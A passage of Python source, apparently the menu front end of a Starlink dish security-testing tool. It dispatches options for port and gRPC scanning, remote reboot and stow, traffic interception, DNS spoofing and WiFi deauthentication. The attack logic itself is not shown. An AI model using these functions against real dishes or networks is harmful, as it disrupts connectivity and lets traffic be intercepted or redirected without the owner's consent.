{Colors.BOLD}RF & Firmware{Colors.RESET}") print(f" 14) Check firmware version") print(f" 15) Analyze firmware file") print(f" 16) Find debug interfaces") print(f" 17) Detect signal jamming") print(f" 18) Known CVEs & exploits") print(f"\n {Colors.BOLD}Utility{Colors.RESET}") print(f" 19) Export results") print(f" 20) Set target dish IP") print(f" 0) Back") choice = input(f"\n {Colors.BOLD}Select> {Colors.RESET}").strip() if choice == '0': break elif choice == '1': ip = input(f"\n Dish IP [{sl._dish_ip}]: ").strip() or None print(f"\n{Colors.CYAN}[*] Discovering Starlink dish...{Colors.RESET}") result = sl.discover_dish(ip) if result.get('found'): print(f"{Colors.GREEN}[+] Dish found at {result['target']}{Colors.RESET}") print(f" gRPC: {'open' if result.get('grpc_available') else 'closed'}") print(f" HTTP: {'open' if result.get('http_available') else 'closed'}") if result.get('firmware'): print(f" Firmware: {result['firmware']}") if result.get('hardware'): print(f" Hardware: {result['hardware']}") extras = result.get('details', {}).get('extra_open_ports', []) if extras: print(f" Extra open ports: {extras}") else: print(f"{Colors.RED}[X] {result.get('error', 'Dish not found')}{Colors.RESET}") elif choice == '2': print(f"\n{Colors.CYAN}[*] Querying dish status...{Colors.RESET}") result = sl.get_dish_status() if result.get('ok'): print(f"{Colors.GREEN}[+] Dish Status:{Colors.RESET}") print(f" State: {result.get('device_state', 'unknown')}") print(f" Uptime: {result.get('uptime_human', 'unknown')}") print(f" Firmware: {result.get('software_version', 'unknown')}") print(f" Alerts: {result.get('alert_count', 0)} active") for alert in result.get('alerts', []): print(f" - {alert}") obs = result.get('obstruction', {}) print(f" Obstruction: {obs.get('fraction_obstructed', 0)}%") print(f" Downlink: {result.get('downlink_throughput_bps', 0)} bps") print(f" Uplink: {result.get('uplink_throughput_bps', 0)} bps") print(f" Latency: {result.get('pop_ping_latency_ms', 0)} ms") print(f" ETH Speed: {result.get('eth_speed_mbps', 0)} Mbps") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '3': print(f"\n{Colors.CYAN}[*] Querying device info...{Colors.RESET}") result = sl.get_dish_info() if result.get('ok'): print(f"{Colors.GREEN}[+] Device Info:{Colors.RESET}") print(f" Device ID: {result.get('device_id', 'unknown')}") print(f" Hardware: {result.get('hardware_version', 'unknown')}") print(f" Software: {result.get('software_version', 'unknown')}") print(f" Country: {result.get('country_code', 'unknown')}") print(f" Boot count: {result.get('bootcount', 0)}") print(f" Is dev: {result.get('is_dev', False)}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '4': print(f"\n{Colors.CYAN}[*] Querying network info...{Colors.RESET}") result = sl.get_network_info() wifi_cfg = result.get('wifi_config', {}) print(f"{Colors.GREEN}[+] Network Info:{Colors.RESET}") print(f" WiFi SSID: {wifi_cfg.get('ssid', 'unknown')}") print(f" Security: {wifi_cfg.get('security', 'unknown')}") clients = result.get('wifi_clients', []) print(f" Connected clients: {len(clients)}") for c in clients: sig = c.get('signal_strength', '?') print(f" {c.get('name', 'unknown'):20s} | {c.get('mac', '?'):17s} | {c.get('ip', '?'):15s} | {sig} dBm") elif choice == '5': print(f"\n{Colors.CYAN}[*] Port scanning {sl._dish_ip}...{Colors.RESET}") result = sl.scan_dish_ports() if result.get('ok'): print(f"{Colors.GREEN}[+] {result.get('open_port_count', 0)} open ports ({result.get('scanner')}):{Colors.RESET}") for p in result.get('ports', []): print(f" {p['port']}/{p['protocol']}\t{p['state']}\t{p['service']}") else: print(f"{Colors.RED}[X] {result.get('error', 'Scan failed')}{Colors.RESET}") elif choice == '6': print(f"\n{Colors.CYAN}[*] Enumerating gRPC methods...{Colors.RESET}") result = sl.grpc_enumerate() if result.get('ok'): src = f" ({result['source']})" if result.get('source') else '' print(f"{Colors.GREEN}[+] {result.get('method_count', 0)} methods{src}:{Colors.RESET}") for m in result.get('methods', []): if isinstance(m, dict): name = m.get('method', m.get('name', '?')) desc = m.get('description', m.get('desc', '')) print(f" {name}: {desc}") else: print(f" {m}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '7': method = input("\n gRPC method name: ").strip() params_str = input(" Parameters (JSON, or empty): ").strip() params = None if params_str: try: params = json.loads(params_str) except json.JSONDecodeError: print(f"{Colors.RED}[X] Invalid JSON{Colors.RESET}") input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") continue print(f"\n{Colors.CYAN}[*] Calling {method}...{Colors.RESET}") result = sl.grpc_call(method, params) if result.get('ok'): print(f"{Colors.GREEN}[+] Response:{Colors.RESET}") print(json.dumps(result.get('response', {}), indent=2, default=str)) else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '8': confirm = input(f"\n {Colors.YELLOW}Stow dish (park antenna)? [y/N]: {Colors.RESET}").strip().lower() if confirm == 'y': print(f"\n{Colors.CYAN}[*] Sending stow command...{Colors.RESET}") result = sl.stow_dish() print(f"{Colors.GREEN if result.get('ok') else Colors.RED}[{'+'if result.get('ok')else'X'}] {result.get('message', result.get('error', ''))}{Colors.RESET}") elif choice == '9': print(f"\n{Colors.CYAN}[*] Sending unstow command...{Colors.RESET}") result = sl.unstow_dish() print(f"{Colors.GREEN if result.get('ok') else Colors.RED}[{'+'if result.get('ok')else'X'}] {result.get('message', result.get('error', ''))}{Colors.RESET}") elif choice == '10': confirm = input(f"\n {Colors.YELLOW}Reboot dish? [y/N]: {Colors.RESET}").strip().lower() if confirm == 'y': print(f"\n{Colors.CYAN}[*] Sending reboot command...{Colors.RESET}") result = sl.reboot_dish() print(f"{Colors.GREEN if result.get('ok') else Colors.RED}[{'+'if result.get('ok')else'X'}] {result.get('message', result.get('error', ''))}{Colors.RESET}") elif choice == '11': gateway = input(f"\n Gateway IP [192.168.1.1]: ").strip() or '192.168.1.1' iface = input(" Interface (or empty for auto): ").strip() or None print(f"\n{Colors.CYAN}[*] Starting traffic interception...{Colors.RESET}") result = sl.intercept_traffic(gateway, iface) if result.get('ok'): print(f"{Colors.GREEN}[+] Interception running (PID: {result.get('pid')}){Colors.RESET}") print(f" Tool: {result.get('tool')}") if result.get('capture_file'): print(f" Capture: {result['capture_file']}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '12': domain = input("\n Domain to spoof: ").strip() spoof_ip = input(" Redirect to IP: ").strip() if domain and spoof_ip: print(f"\n{Colors.CYAN}[*] Starting DNS spoofing...{Colors.RESET}") result = sl.dns_spoof(domain, spoof_ip) if result.get('ok'): print(f"{Colors.GREEN}[+] DNS spoofing active: {domain} -> {spoof_ip}{Colors.RESET}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '13': target = input("\n Target MAC (or empty for broadcast): ").strip() or None iface = input(" Wireless interface (or empty for auto): ").strip() or None print(f"\n{Colors.CYAN}[*] Sending deauth packets...{Colors.RESET}") result = sl.deauth_clients(target, iface) if result.get('ok'): print(f"{Colors.GREEN}[+] Deauth sent to {result.get('target', 'broadcast')}{Colors.RESET}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '14': print(f"\n{Colors.CYAN}[*] Checking firmware version...{Colors.RESET}") result = sl.check_firmware_version() if result.get('ok'): print(f"{Colors.GREEN}[+] Firmware: {result.get('software_version', 'unknown')}{Colors.RESET}") print(f" Hardware: {result.get('hardware_version', 'unknown')}") if result.get('vulnerable'): print(f" {Colors.RED}VULNERABLE - {len(result.get('vulnerabilities', []))} known CVE(s){Colors.RESET}") for vuln in result.get('vulnerabilities', []): print(f" {vuln['cve']}: {vuln['title']} ({vuln['severity']})") else: print(f" {Colors.GREEN}No known vulnerabilities for this version{Colors.RESET}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '15': fw_path = input("\n Firmware file path: ").strip() if fw_path and os.path.exists(fw_path): print(f"\n{Colors.CYAN}[*] Analyzing firmware...{Colors.RESET}") result = sl.analyze_firmware(fw_path) if result.get('ok'): print(f"{Colors.GREEN}[+] Analysis complete:{Colors.RESET}") finfo = result.get('file_info', {}) print(f" File: {finfo.get('name', '?')} ({finfo.get('size_human', '?')})") print(f" Signatures: {result.get('signature_count', 0)}") for sig in result.get('signatures', [])[:10]: print(f" 0x{sig.get('offset', 0):08x}: {sig.get('description', '?')}") ent = result.get('entropy_analysis', {}) print(f" Avg entropy: {ent.get('average', '?')}") print(f" Encrypted: {ent.get('likely_encrypted', '?')}") print(f" Interesting strings: {result.get('interesting_strings_count', 0)}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") else: print(f"{Colors.RED}[X] File not found{Colors.RESET}") elif choice == '16': print(f"\n{Colors.CYAN}[*] Scanning for debug interfaces...{Colors.RESET}") result = sl.find_debug_interfaces() if result.get('ok'): print(f"{Colors.GREEN}[+] Debug interface scan:{Colors.RESET}") ports = result.get('serial_ports', []) print(f" Serial ports: {len(ports)}") for p in ports: jtag_note = ' [POSSIBLE JTAG]' if p.get('possible_jtag') else '' print(f" {p['device']}: {p['description']}{jtag_note}") print(f" JTAG adapter detected: {result.get('jtag_detected', False)}") print(f" OpenOCD available: {result.get('openocd_available', False)}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '17': print(f"\n{Colors.CYAN}[*] Checking for signal jamming...{Colors.RESET}") result = sl.detect_jamming() if result.get('ok'): if result.get('jamming_detected'): print(f"{Colors.RED}[!] JAMMING INDICATORS DETECTED (confidence: {result.get('confidence')}){Colors.RESET}") else: print(f"{Colors.GREEN}[+] No jamming indicators (confidence: {result.get('confidence')}){Colors.RESET}") for ind in result.get('indicators', []): sev_color = Colors.RED if ind['severity'] == 'high' else Colors.YELLOW print(f" {sev_color}[{ind['severity'].upper()}]{Colors.RESET} {ind['detail']}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '18': result = sl.check_known_cves() print(f"\n{Colors.GREEN}[+] Known Starlink CVEs ({result.get('total', 0)}):{Colors.RESET}\n") for cve in result.get('cves', []): sev_color = Colors.RED if cve['severity'] in ('Critical', 'High') else Colors.YELLOW print(f" {sev_color}{cve['cve']}{Colors.RESET} - {cve['title']}") print(f" Severity: {cve['severity']} (CVSS {cve['cvss']})") print(f" Affected: {cve['affected']}") print(f" Technique: {cve['technique']}") print() elif choice == '19': path = input(f"\n Export path (or empty for default): ").strip() or None print(f"\n{Colors.CYAN}[*] Exporting results...{Colors.RESET}") result = sl.export_results(path) if result.get('ok'): print(f"{Colors.GREEN}[+] Exported to: {result.get('path')}{Colors.RESET}") print(f" Size: {result.get('size_human', '?')}") print(f" Entries: {result.get('entries', 0)}") else: print(f"{Colors.RED}[X] {result.get('error', 'Failed')}{Colors.RESET}") elif choice == '20': new_ip = input(f"\n New dish IP [{sl._dish_ip}]: ").strip() if new_ip: sl._dish_ip = new_ip print(f"{Colors.GREEN}[+] Target set to {new_ip}{Colors.RESET}") input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")